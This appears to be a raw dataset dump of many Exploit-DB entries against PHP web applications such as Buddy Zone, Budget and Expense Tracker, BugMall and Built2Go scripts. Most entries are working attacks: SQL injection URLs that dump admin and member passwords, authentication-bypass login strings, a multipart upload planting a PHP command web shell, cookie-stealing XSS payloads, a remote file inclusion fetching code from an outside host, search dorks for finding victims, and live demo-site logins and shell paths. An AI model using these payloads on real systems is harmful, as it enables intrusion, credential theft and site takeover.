deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4128
Description: Buddy Zone 1.5 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-06-30
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+             Buddy Zone Version 1.5 And Prior SQL Injection Vulnerability       +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.vastal.com/buddy-zone-social-networking-script.html
DORK: allintext:"Powered By Buddy Zone"


DESCRIPTION:
Remote sql injection in view_sub_cat.php cat_id, able to pull username/passwords of their admin and user accounts.


EXPLOITS:
view_news.php
http://www.site.com/view_news.php?news_id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(admin_user,0x3a,admin_password),3,4,5,6/**/FROM/**/admin_users/*
http://www.site.com/view_news.php?news_id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(member_email,0x3a,member_password),3,4,5,6/**/FROM/**/members/*

view_events.php
http://www.site.com/view_events.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(member_email,0x3a,member_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/members/*
http://www.divineartists.com/view_events.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(admin_user,0x3a,admin_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/admin_users/*

video_gallery.php
http://www.site.com/video_gallery.php?member_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(admin_user,0x3a,admin_password),7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/FROM/**/admin_users/*
http://www.site.com/video_gallery.php?member_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(member_email,0x3a,member_password),7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/FROM/**/members/*


Tip/Note:
The Administrator's Panel is in /admin/.

GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net, and the ASFC/FM4 peeps !


--==+================================================================================+==--
--==+             Buddy Zone Version 1.5 And Prior SQL Injection Vulnerability       +==--
--==+================================================================================+==--

# milw0rm.com [2007-06-30]
Exploit-DB #43918
Description: Buddy Zone 2.9.9 - SQL Injection
Type: webapps
Platform: php
Date: 2018-01-28
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Vastal I-Tech Facebook Clone 2.9.9 - SQL Injection
# Dork: N/A
# Date: 27.01.2018
# Vendor Homepage: http://vastal.com/
# Software Link: http://vastal.com/buddy-zone-social-networking-script.html
# Version: 2.9.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/chat_im/chat_window.php?request_id=[SQL]
# 
# -551++/*!13337UNION*/+/*!13337SELECT*/+1,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),3,4,5,6,7,8,9--+-
# 
# http://localhost/[PATH]/search_events.php?category=[SQL]
# 
# # # # #
Exploit-DB #44432
Description: Buddypress Xprofile Custom Fields Type 2.6.3 - Remote Code Execution
Type: webapps
Platform: php
Date: 2018-04-09
Author: Lenon Leite

Exploit:
# Exploit Title:  Plugin Buddypress Xprofile Custom Fields Type 2.6.3 RCE – Unlink
# Date: 08/04/2018
# Exploit Author: Lenon Leite
# Vendor Homepage:
# https://wordpress.org/plugins/buddypress-xprofile-custom-fields-type/
# Software Link:
# https://wordpress.org/plugins/buddypress-xprofile-custom-fields-type/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 2.6.3
# Tested on: Ubuntu 16.1
#
#Article:
#http://lenonleite.com.br/publish-exploits/plugin-buddypress-xprofile-custom-fields-type-2-6-3-rce-unlink/
#
#Video:
#https://www.youtube.com/watch?v=By7kT7UbHVk
#

1 - Description
  - Type user access: any user registered used in BuddyPress.
  - $_POST[ 'field_' . $field_id . '_hiddenfile' ] is not escaped.
  - $_POST[ 'field_' . $field_id . '_deleteimg' ] is not escaped.


2. Proof of Concept

Login as regular user.

1- Log in with BuddyPress User

2 - Access Edit Profile:

http://target/members/admin/profile/edit/

3 - Register data with image:

 <http://target/wp-content/uploads/2018/01/buddypress-profile.png>4
- Change parameter to delete image in html and save profile:
<http://target/wp-content/uploads/2018/01/buddypress-profile2.png>
 <http://target/wp-content/uploads/2018/01/buddypress-profile3-1.png>

#-- 
#*Atenciosamente*
#
#*Lenon Leite*
Exploit-DB #50326
Description: Budget and Expense Tracker System 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2021-09-23
Author: ()t/\\/\\1

Exploit:
# Exploit Title: Budget and Expense Tracker System 1.0 - Arbitrary File Upload 
# Exploit Author: ()t/\/\1
# Date: 23/09/2021
# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html
# Tested on: Linux
# Version: 2.0

# Exploit Description:
The application is prone to an arbitrary file-upload because it fails to adequately sanitize user-supplied input. An attacker can exploit these issues to upload arbitrary files in the context of the web server process and execute commands.


# PoC request 

POST /expense_budget/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/expense_budget/admin/?page=user
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]34165712
Content-Length: 824
Connection: close
Cookie: PHPSESSID=a36f66fa4a5751d4a15db458d573139c

----------------------------[PII_REDACTED][PII_REDACTED]34165712
Content-Disposition: form-data; name="id"

1
----------------------------[PII_REDACTED][PII_REDACTED]34165712
Content-Disposition: form-data; name="firstname"

A
----------------------------[PII_REDACTED][PII_REDACTED]34165712
Content-Disposition: form-data; name="lastname"

a
----------------------------[PII_REDACTED][PII_REDACTED]34165712
Content-Disposition: form-data; name="username"

admin
----------------------------[PII_REDACTED][PII_REDACTED]34165712
Content-Disposition: form-data; name="password"


----------------------------[PII_REDACTED][PII_REDACTED]34165712
Content-Disposition: form-data; name="img"; filename="na3na3.php"
Content-Type: image/jpeg

<?php echo "<pre>";system($_GET['cmd']); ?>
----------------------------[PII_REDACTED][PII_REDACTED]34165712--
Exploit-DB #50307
Description: Budget and Expense Tracker System 1.0 - Authenticated Bypass
Type: webapps
Platform: php
Date: 2021-09-20
Author: Prunier Charles-Yves

Exploit:
# Exploit Title: Budget and Expense Tracker System 1.0 - Authenticated Bypass
# Exploit Author: Prunier Charles-Yves
# Date: September 20, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/expense_budget.zip
# Tested on: Linux, windows
# Vendor: oretnom23
# Version: v1.0

# Exploit Description:
Budget and Expense Tracker System 1.0, is prone to an Easy authentication bypass vulnerability on the application 
allowing the attacker to login with admin acount


----- PoC: Authentication Bypass -----

Administration Panel: http://localhost/expense_budget/admin/login.php

Username: admin' or ''=' --
Exploit-DB #49723
Description: Budget Management System 1.0 - 'Budget title' Stored XSS
Type: webapps
Platform: php
Date: 2021-03-29
Author: Jitendra Kumar Tripathi

Exploit:
# Exploit Title: Budget Management System 1.0 - 'Budget title' Stored XSS
# Exploit Author: Jitendra Kumar Tripathi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14403/budget-management-system.html
# Version: 1
# Tested on Windows 10 + Xampp 8.0.3

XSS IMPACT:
1: Steal the cookie
2: User redirection to a malicious website

Vulnerable Parameters: Customer Details

*Steps to reproduce:*
 Add Budget Title
 Payload : <script>alert(1)</script>
 Reload the http://localhost/Budget%20Management%20System/index.php or update the budget , the xss will get triggered.
Exploit-DB #36228
Description: BugFree 2.1.3 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-10-12
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/50083/info

BugFree is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

An attacker could exploit these vulnerabilities to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

BugFree 2.1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/Bug.php?BugID=1&ActionType=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/Report.php?ReportMode=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/ReportLeft.php?ReportMode=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/AdminProjectList.php/%27;%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/AdminGroupList.php/%27;%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/AdminUserLogList.php/%27;%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #4103
Description: bugmall shopping cart 2.5 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-06-25
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+           BUG MALL SHOPPING CART 2.5 AND PRIOR SQL, XSS, DEFAULT LOGINS VULNERABILITYS       +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog (Excellent Work xprog thanks :D)


SCRIPT DOWNLOAD: http://www.bug-mall.org/downloads/bugmall.zip

ORIGINAL ADVISORY CAN BE FOUND HERE: http://www.h4cky0u.org/viewtopic.php?t=26834


SITE: http://www.bug-mall.org


DORK: Powered by Bug Software intext:Your Cart Contains


EXPLOITS:

EXPLOIT 1: http://www.site.com/BugMallPAth/index.php?msgs=[HTML, JAVASCRIPT]
EXPLOIT 2: The basic search box is vulnerable to sql injection, check examples for detail.
EXPLOIT 3: The script seems to have a default login, username:demo password: demo, we have tried this on several sites
and sucsefully logged in.


EXAMPLES:

EXAMPLE 1 ON DEMO: http://www.bug-mall.org/computerstore/index.php?msgs=<html><body>VULN BY<br>t0pP8uZz<br>h4cky0u.org</body><html>
EXAMPLE 2 ON DEMO: http://www.bug-mall.org/computerstore/index.php?msgs=<script>alert("XSS")</script>
EXAMPLE 3: Paste following into search box 
' and 1=2 UNION ALL SELECT 1,2,3,4,concat(username,':',password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102 from clientes/*


Note: Some servers may be running older version of MYSQL and make it harder to inject without UNION.

GREETZ: str0ke, GM, andy777, Untamed, Don, o0xxdark0o, & everyone at H4CKY0u.org, BHUNITED AND G0t-Root.net

FROM GM!: Kw3[R]ln get over it :D.


--==+================================================================================+==--
--==+           BUG MALL SHOPPING CART 2.5 AND PRIOR SQL, XSS, DEFAULT LOGINS VULNERABILITYS       +==--
--==+================================================================================+==--

# milw0rm.com [2007-06-25]
Exploit-DB #15509
Description: Build a Niche Store 3.0 - 'BANS' Authentication Bypass
Type: webapps
Platform: php
Date: 2010-11-13
Author: ThunDEr HeaD

Exploit:
#########################################################################

[+] Exploit Title : Build a Niche Store v3.0 (BANS) Authentication
Bypass Vulnerability
[~] Author : ThunDEr HeaD
[~] Contact : thunderhead10@gmail.com
[~] Date : 13-11-2010
[~] HomePage : www.indishell.in
[~] Price : $49.95
[~] Version : 3.0
[~] Software: http://www.buildanichestore.com/
[~] Vulnerability Style : Authentication Bypass / Shell Upload
[~] Vulnerability Dir : Shell By: themes/

#########################################################################

~~~~~~~~~~~~~~~~~~~~~~~~~[Greetz To]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

              ----==  INDIAN CYBER ARMY ==----

We Are: -[SiLeNtp0is0n]- , stRaNgEr , inX_rOot , NEO H4cK3R , DarkL00k
, G00g!3 W@rr!0r , str1k3r, co0Lt04d , ATUL DWIVEDI ,

Jackh4xor , Th3 RDX
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

~~~~~~~~~~~~~~~~~~~~~~~~~~[EXPLOIT]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---==[Authentication Bypass]==---

[1] Go to the URL:

    http://server/admin

[2] Apply these details for login:

        Username: ' or 1=1 or ''='
	PassWord: ' or 1=1 or ''='

[3] You will Redirected to Admin page:

[4] Enjoy

---==[Uploading Shell]==---

[1] Before Uploading you Must be Logged in (Admin Panel)

[2] Go To Template Page:

    http://server/admin/index.php?action=getTemplate

[3] Many Layout Options will be appeared, choose any one

[4] Click On upload logo (eg. layout 3 right)

[5] Upload Your Shell

[6] After Uploading type the following link to access your shell

    http://server/themes/layout-3-right/images/

[7] DOne now time to rock \m/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Bug discovered : 13 November 2010

finish(0);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

#End 0Day#
Exploit-DB #3947
Description: Build it Fast (bif3) 0.4.1 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-05-17
Author: Alkomandoz Hacker

Exploit:
# bif3-0.4.1 <=  Remote File Include Vulnerablitiy

# D.Script: http://bif.lunix.com.ar/tgz/bif3-0.4.1.tgz

# Discovered by: Alkomandoz Hacker

# Homepage: asb-may.net & mohandko.com & sniper-sa.com


====================================
# Exploit:[Path]/Base/Application.php?pear_dir=Shell
# Exploit:[Path]/Widgets/Base/Footer.php?sys_dir=Shell
# Exploit:[Path]/Widgets/Base/widget.BifContainer.php?sys_dir=Shell
# Exploit:[Path]/Widgets/Base/widget.BifRoot.php?sys_dir=Shell
# Exploit:[Path]/Widgets/Base/widget.BifRoot2.php?sys_dir=Shell
# Exploit:[Path]/Widgets/Base/widget.BifRoot3.php?sys_dir=Shell
# Exploit:[Path]/Widgets/Base/widget.BifWarning.php?sys_dir=Shell
====================================

# Thanx:   AsbMay's Group & City Of Ghosts Team & Sniper-sa Team

# Greetz To: Sniper_Sa & Devil-X

# milw0rm.com [2007-05-17]
Exploit-DB #51581
Description: BuildaGate5library v5 - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-07-11
Author: Idan Malihi

Exploit:
# Exploit Title: BuildaGate5library v5 - Reflected Cross-Site Scripting (XSS)
# Date: 06/07/2023
# Exploit Author: Idan Malihi
# Vendor Homepage: None
# Version: 5
# Tested on: Microsoft Windows 10 Pro
# CVE : CVE-2023-36163

#PoC:
An attacker just needs to find the vulnerable parameter (mc=) and inject the JS code like:
'><script>prompt("XSS");</script><div id="aa

After that, the attacker needs to send the full URL with the JS code to the victim and inject their browser.

#Payload:
company_search_tree.php?mc=aaa'><script>prompt("XSS");</script><div id="aaaa
Exploit-DB #40390
Description: BuilderEngine 3.5.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2016-09-19
Author: metanubix

Exploit:
<!-- 
# Exploit Title: BuilderEngine 3.5.0 Remote Code Execution via elFinder 2.0
# Date: 18/09/2016
# Exploit Author: metanubix
# Vendor Homepage: http://builderengine.org/
# Software Link: http://builderengine.org/page-cms-download.html
# Version: 3.5.0
# Tested on: Kali Linux 2.0 64 bit
# Google Dork: intext:"BuilderEngine Ltd. All Right Reserved"

1) Unauthenticated Unrestricted File Upload:

	POST /themes/dashboard/assets/plugins/jquery-file-upload/server/php/

	Vulnerable Parameter: files[]

	We can upload test.php and reach the file via the following link:
	/files/test.php
-->
<html>
<body>
<form method="post" action="http://localhost/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
	<input type="file" name="files[]" />
	<input type="submit" value="send" />
</form>
</body>
</html>
Exploit-DB #29697
Description: Built2go News Manager 1.0 Blog - 'news.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-03-01
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/22783/info

Built2Go News Manager Blog is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues affect versions prior to 1.0.3; prior versions may also be affected. 

http://www.example.com/[path]/news.php?cid=[Xss-Script]
http://www.example.com/[path]/news.php?uid=[Xss-Script]
Exploit-DB #29698
Description: Built2go News Manager 1.0 Blog - 'rating.php?nid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-03-01
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/22783/info
 
Built2Go News Manager Blog is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
These issues affect versions prior to 1.0.3; prior versions may also be affected. 

http://www.example.com/[path]/rating.php?nid=[Xss-Script] http://www.example.com/[path]/news.php?nid=[Xss-Script]
Exploit-DB #7644
Description: Built2Go PHP Link Portal 1.95.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-01-02
Author: ZoRLu

Exploit:
[~] Built2Go PHP Link Portal v1.95.1 RFU
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
[~]
[~] Date: 22.11.2008
[~]
[~] Home: z0rlu.blogspot.com / www.experl.com 
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] dork mu :) "PHP Link Portal v1.95.1 Â© Big Resources, Inc." ( for yahoo )
[~]
[~] onemli N0TT: arkadaslar hepimiz biliyoruz ki arama motoru yalnIzca google deil 
[~]
[~] bide yahoo yu deneyin sonra hiÃ§ site yok dersiniz xD
[~]
[~] EN ONEMLi N0T: demolarI hackleyen top olsun top ( if you hack demo you will be ball xD )
[~] -----------------------------------------------------------

first register to site 

you add this code your shell to head 

GIF89a; 

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php

after go member.php

select your shell.php and your shell here:

http://z0rlu.blogspot.com/script/pictures/[id]shell.php

exp:

demo:

http://www.q-seek.com/

login:

http://www.q-seek.com/member.php

user: salla

pass: salla1

shell:

http://www.q-seek.com/pictures/14_2009-01-02-02-25-03.php


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & Scriptorium & h4ckinger & Cyber_Thief & BLaSTeR & Ahmet and all experl.com users :)
[~]
[~] yildirimordulari.org  &  experl.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-01-02]
Exploit-DB #1711
Description: Built2Go PHP Movie Review 2B - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-23
Author: Camille Myers

Exploit:
Built2Go PHP Movie Review <=2B Remote File Inclusion Vulnerability

in movie_cls.php

# require_once("$full_path/review_cls.php");

usage:

# http://www.site.com/[path]/movie_cls.php?full_path=http://www.site.com/x.txt?&cmd=uname -a

# milw0rm.com [2006-04-23]
Exploit-DB #7645
Description: Built2Go PHP Rate My Photo 1.46.4 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-01-02
Author: ZoRLu

Exploit:
[~] Built2Go PHP Rate My Photo v1.46.4 RFU
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
[~]
[~] Date: 22.11.2008
[~]
[~] Home: z0rlu.blogspot.com / www.experl.com 
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] dork mu :) "My Photo v1.46.4 Â© Big Resources" ( for yahoo )
[~]
[~] onemli N0TT: arkadaslar hepimiz biliyoruz ki arama motoru yalnIzca google deil 
[~]
[~] bide yahoo yu deneyin sonra hiÃ§ site yok dersiniz xD
[~]
[~] EN ONEMLi N0T: demolarI hackleyen top olsun top ( if you hack demo you will be ball xD )
[~] -----------------------------------------------------------

first register to site 

you add this code your shell to head 

GIF89a; 

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php

after go member.php

select your shell.php and your shell here:

http://z0rlu.blogspot.com/script/pictures/[id]shell.php

exp:

demo:

http://demos.built2go.com/rate%20my%20photo/1/

login:

http://demos.built2go.com/rate%20my%20photo/1/member.php

user: salla

pass: salla1

shell:

http://demos.built2go.com/rate%20my%20photo/1/pictures/418_2009-01-0204-11-57.php


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & Scriptorium & h4ckinger & Cyber_Thief & BLaSTeR & Ahmet and all experl.com users :)
[~]
[~] yildirimordulari.org  &  experl.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-01-02]